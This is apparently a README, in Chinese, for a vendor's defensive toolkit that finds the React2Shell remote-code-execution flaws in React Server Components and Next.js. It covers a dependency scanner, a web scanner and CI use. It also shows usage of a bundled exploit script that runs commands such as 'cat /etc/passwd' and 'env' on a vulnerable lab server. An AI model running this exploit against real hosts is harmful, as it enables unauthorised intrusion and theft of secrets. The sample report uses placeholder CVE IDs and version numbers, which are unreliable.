Scanner for CVE-2025-55182 (React) and CVE-2025-66478 (Next.js) - 跟踪并修复影响 react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack 以及支持 RSC 的框架(如 Next.js)的关键 React Server Components (RSC) / Flight 协议漏洞活动。
针对 React2Shell 类漏洞的外部漏洞:两个新披露的、未经认证的远程代码执行漏洞,存在于 React Server Components (RSC) "Flight" 协议中——CVE-2025-55182 (React) 和 CVE-2025-66478 (Next.js),两者评分均为 CVSS 10.0。这些问题存在于 RSC/Server Function 端点解码攻击者控制的 Flight 载荷的方式中,一个精心构造的 HTTP 请求就可能转化为服务器端代码执行——即使是在使用 App Router 和生产构建的 "默认" 现代 React/Next.js 栈上也是如此。对许多团队来说,这是一个 "立即修补、验证暴露、然后审计" 的时刻,而不是推迟到以后的依赖项清理冲刺。 LAB 文件夹包含针对 React2Shell 的利用和实验室漏洞
本项目提供 双管齐下的方法:(1) 软件组成/依赖风险扫描(本工具),用于快速定位易受攻击的库和版本;(2) Web DAST 扫描器(React2Shell Web Scanner),从外部主动探测 RSC/Flight 端点,验证可被利用的路径是否在运行环境中可达。两者结合可帮助您回答 "易受攻击的组件在哪里?" 和 "在生产环境中哪些可被实际利用?" 这两个问题,从而让您有信心确定修补、加固和事件响应的优先级。
有关 实时端点测试 和 RCE 验证,请参阅专用 Web 扫描器:
📁 web-scan_CVE-2025-66478/ - 完整文档和指南
cd web-scan_CVE-2025-66478
# 安装依赖
pip install -r requirements.txt
# 扫描单个目标
python3 react2shell-scanner -u https://target.com -v
# 显示证据进行扫描
python3 react2shell-scanner -u https://target.com --show-evidence
# 批量扫描并导出所有格式
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# 在易受攻击的目标上测试利用(需要 Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| 功能 | 描述 |
|---|---|
| 🔍 RCE 检测 | 基于算术的安全检测(无副作用) |
| 🎯 技术指纹识别 | 自动检测 Next.js/React 应用程序 |
| 📊 多格式导出 | JSON、CSV、HTML 报告 |
| 🔗 IOC 关联 | 匹配 31+ 已知恶意 IP |
| 🌐 规模扫描 | CIDR 范围、子域名枚举 |
| ☁️ Phoenix 集成 | 将发现结果上传到 Phoenix Security |
| 💻 利用工具 | 在易受攻击的目标上执行命令 |
cd web-scan_CVE-2025-66478/test-lab/lab
# 启动易受攻击 (3011) 和已修补 (3012) 实例
docker-compose up -d
# 测试易受攻击实例
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# 安装利用依赖
pip3.11 install -r requirements.txt
# 基本命令执行
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 输出: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# 输出: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# 输出: 99e28775bf80 (容器 ID)
# 系统枚举
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# 应用侦察
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell 是一种针对 React Server Components (RSC) 在 Flight 协议中载荷处理的无认证远程代码执行原语。实际上,这意味着恶意客户端可以向 RSC/Server Function 端点发送一个精心构造的 HTTP 请求,如果使用了易受攻击的版本,就可能将 "Web 应用" 变成 "服务器 Shell"。
从高层次看:
由于这是 无认证 RCE,默认的生产设置也处于风险范围内——即使您从未显式编写过 "server function",只是采用了现代 React/Next.js 模式也是如此。主机级别的缓解措施和通用 WAF 不应被视为主要安全网:它们可能减少暴露面,但无法可靠地弥补易受攻击的库。请将此视为安全事故:
一旦攻击者通过 React2Shell 获得 RCE,防御者应假设以下熟悉的杀伤链:
.env 文件、部署密钥、CI 令牌、服务凭证和签名密钥。如果您的 DevSecOps 管道过去将 Web 层视为 "仅前端",那么这个漏洞具体说明了:当涉及 RSC 和流式传输语义时,前端框架可能带来深远的服务器端破坏范围。Universal Vulnerability Scanner 的存在是为了帮助您快速回答 "我们是否在任何地方运行了易受攻击的包?" 并将该答案反馈到 Phoenix 驱动的活动中,以及后续的 Web DAST 验证 的实时 RSC 端点。
# 安装依赖
pip install -r requirements.txt
# 从项目根目录运行
python -m universal_vulnerability_scanner.main --help
# 基本扫描
python -m universal_vulnerability_scanner.main scan /path/to/project
# 带 JSON 输出
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# 静默模式(仅显示摘要)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# 创建 Phoenix 配置模板
python -m universal_vulnerability_scanner.main create-config
# 使用您的凭证编辑 .phoenix.config
# 然后扫描并上传
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# 使用附带的易受攻击样本进行测试
python -m universal_vulnerability_scanner.main test
扫描器使用基于 JSON 的漏洞数据库,位于:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "漏洞描述",
"references": ["https://..."]
}
}
}
}
创建 .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
或使用环境变量:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
通用漏洞扫描器报告
================================================================================
扫描完成: 2025-12-04 10:30:00
摘要:
----------------------------------------
总发现数: 12
易受攻击: 3
安全: 2
干净: 5
待审查: 2
🚨 检测到易受攻击的包
================================================================================
1. [email protected]
文件: /path/to/project/package.json
原因: 与已知易受攻击版本 19.0.0 精确匹配
✅ 安全版本: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "与已知易受攻击版本 19.0.0 精确匹配",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
扫描器包含 test_samples/ 中的综合测试样本:
| 测试用例 | 描述 | 预期结果 |
|---|---|---|
rsc_vulnerable_exact/ | 精确易受攻击版本 | 4 个易受攻击 |
rsc_vulnerable_range/ | 版本范围 | 4 个易受攻击 |
rsc_safe_versions/ | 已修补安全版本 | 6 个安全 |
rsc_mixed/ | 混合易受攻击/安全/干净 | 2 个易受攻击, 1 个安全, 4 个干净 |
rsc_with_lockfile/ | 锁文件解析 | 2 个易受攻击, 1 个干净 |
运行测试:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # 语义化版本解析与比较
├── models/
│ ├── finding.py # 发现数据模型
│ └── vulnerability.py # 漏洞数据库模型
├── scanners/
│ ├── base_scanner.py # 抽象扫描器接口
│ └── npm_scanner.py # NPM 生态系统扫描器
├── integrations/
│ └── phoenix_uploader.py # Phoenix API 客户端
├── data/
│ └── vulnerability_database.json # 漏洞定义
├── test_samples/ # 测试用例
└── main.py # CLI 入口点
scanners/ 中创建继承自 BaseScanner 的新扫描器示例:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# 实现 PyPI 扫描逻辑
pass
编辑 data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "漏洞描述"
}
}
}
0 - 扫描成功,未发现漏洞1 - 扫描成功,发现漏洞2 - 扫描失败(无效输入、数据库错误等)自动将发现结果上传到 Phoenix,包括:
# 示例 GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.py属于 Shai Halud 安全工具包的一部分。
🔍 保持安全!负责任地报告漏洞。